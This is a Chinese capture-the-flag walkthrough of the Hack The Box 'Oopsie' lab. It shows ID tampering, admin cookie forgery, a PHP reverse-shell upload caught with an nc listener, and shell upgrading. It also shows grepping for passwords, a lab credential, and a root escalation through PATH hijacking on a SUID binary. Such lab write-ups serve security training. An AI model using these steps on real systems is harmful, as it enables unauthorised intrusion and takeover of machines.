☰
Hack The Box:Oopsie
2026/10/19 2:11:19 网站建设 项目流程

1. nmap扫端口

扫到80和22端口

2. ssh可以试试有没有弱密码或者空密码登录

稍微尝试一下没有,这个靶机重点不在这。

3. 访问80端口

网页没有什么功能点

提示要登录

4. 查找登录接口

4.1. 法1:burp抓包

在target里面查看

登录接口为/cdn-cgi/login

4.2. 法2:在页面源码中找

5. 访问登录接口

http://10.129.85.39/cdn-cgi/login/

6. 游客登录

进去以后每个界面都点一下

account里面显示了当前账号的信息,url里id值为2

7. 尝试越权

将id值改为1

访问到了admin的账户信息,获取到了access id

8. 访问uploads功能点

需要admin权限

9. 修改cookie

f12打开开发者工具

点击storage

将当前用户的cookie值改为admin用户的cookie值(也就是刚刚获取到的admin的access id)

回车保存

再次刷新界面

就可以上传文件了

10. 上传一个php反弹shell

这里的文件上传没有做任何的限制和过滤,可以任意上传。

可以去github上下载这个php反弹shell的脚本

(下载地址https://github.com/pentestmonkey/php-reverse-shell)

下载下来以后要记得把脚本里的ip改成自己本地tun0网卡的ip,端口可以自定义,我设置的是1234端口

上传成功

11. 本地开启nc监听1234端口

nc -lvvp 1234

12. 浏览器访问上传的shell的地址

猜一下路径为/uploads/php-reverse-shell.php

访问一下

界面一直在转圈圈,说明访问成功了

13. 反弹成功

执行一下whoami 和ls,当前用户为www-data

查看home目录,有一个robert用户

尝试切换到robert用户

显示失败,su命令需要一个交互式终端,当前获取的是非交互式的shell

14. 升级成交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")' ^Z (按 Ctrl+Z) stty raw -echo;fg export TERM=xterm

14.1. python3 -c 'import pty;pty.spawn("/bin/bash")'

  • pty=伪终端(Pseudo Terminal),Linux 里 "假装是一个终端" 的设备
  • pty.spawn("/bin/bash"):给 bash分配一个伪终端,让 bash 在伪终端里跑
  • 结果:bash 以为自己在真终端里,开始提供完整功能(作业控制、tty)

14.2.^Z(Ctrl+Z)

  • 把当前 nc 会话挂起(暂停,退到后台)
  • 目的:把控制权还给你本地 Kali 的终端,让本地终端接管屏幕
  • 注意:此时会回到本地 shell 提示符

14.3. stty raw -echo

  • 在你本地 Kali 终端执行
  • stty raw:把本地终端设为原始模式—— 本地终端不再自行处理按键,把输入输出原样直通给远程 shell
  • -echo:关闭本地回显(不再自己重复显示按键)
  • 为什么必须:否则本地终端会把回车转成\r\n、自动回显等,导致远程 shell 的终端行为错乱(按回车不换行、输入看不见)

14.4. fg

  • 把刚才挂起的 nc 任务恢复到前台
  • 现在远程 shell 接管屏幕,而本地终端已经是 raw 模式,两者 "对齐" 了

14.5. export TERM=xterm

  • 设置终端类型为 xterm
  • 让远程 shell 知道 "我在哪种终端上",vi、清屏、颜色、方向键才正常
  • 不设的话:vi 可能报错、清屏变乱码

此时就升级成功了

14.6. 遇到的问题

我最开始是先执行stty raw -echo,然后回车以后再执行fg,但是每次这样都会有问题

输入export TERM=xterm以后按任何键都没有反应了

需要将两条命令拼一起stty raw -echo;fg

这样才能成功

至于是为什么,我现在暂时还没搞懂

15. 尝试切换用户

发现需要密码,登录不进去

16. 切换目录

cd /var/www/html/cdn-cgi/login ls

cd到网站的目录/var/www/html/cdn-cgi/login里面

17. 找敏感信息

看下有没有什么账号密码的

cat * | grep -i passw*

这里找到一个密码

但是这个是网站admin用户的密码

尝试用来登录robert用户

发现不行

18. 继续找

查看一下db.php里面的内容

cat dp.php

找到了robert的账号密码!

robert

M3g4C0rpUs3r!

19. 切换到robert用户

成功切换

20. 拿到第一个flag

切换到robert的家目录,查看user.txt,获取flag

21. 提权

21.1. 执行id命令

发现robert在一个bugtracker组里

21.2. 找所属用户组是 bugtracker的所有文件

find /-group bugtracker 2>/dev/null

有一个二进制可执行文件

21.3. 执行bugtracker

随便输入一个aaa,发现这个程序是将输入的内容拼接到/root/reports/后面,然后通过cat指令查看内容

21.4. 看程序权限

ls -ls /usr/bin/bugtracker

可以看到/usr/bin/bugtracker设置了 SUID 位,文件属主是 root。属于 bugtracker 组的用户有权限执行这个程序,一旦执行,进程会临时以 root 身份运行。

21.5. 在/tmp里面写文件

echo '/bin/sh' > cat chmod +x cat

robert 拥有/tmp目录的写权限。我们切换到/tmp,自己创一个cat脚本文件,这个脚本的功能是启动一个sh的shell。 因为bugtracker这个SUID程序内部调用cat的时候没有使用绝对路径,程序会从PATH环境变量定义的目录中按从左到右的顺序查找cat。 只需要把这个/tmp路径放到PATH变量的最前面,当bugtracker执行时,就会优先找到我们在/tmp下伪造的cat脚本。 bugtracker带有root的SUID位,所以这个伪造脚本会以root权限执行,启动一个权限为root的shell。

记得还要给这个cat脚本执行权限。

21.6. 修改PATH变量

echo $PATH export PATH=/tmp:$PATH

查看环境变量 PATH

将/tmp加进去,可以看到,/tmp目录现在在第一个

21.7. 再次执行bugstracker程序

随便输入一个aaa

然后就进入了sh的终端界面

执行whoami

可以看到当前身份为root,提权成功

21.8. 拿到第二个flag

有一个小坑,因为之前把tmp放到了PATH第一个,现在执行cat命令,执行的都是自己写的恶意脚本,我说我咋cat不了文件内容......

需要用绝对路径执行命令

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询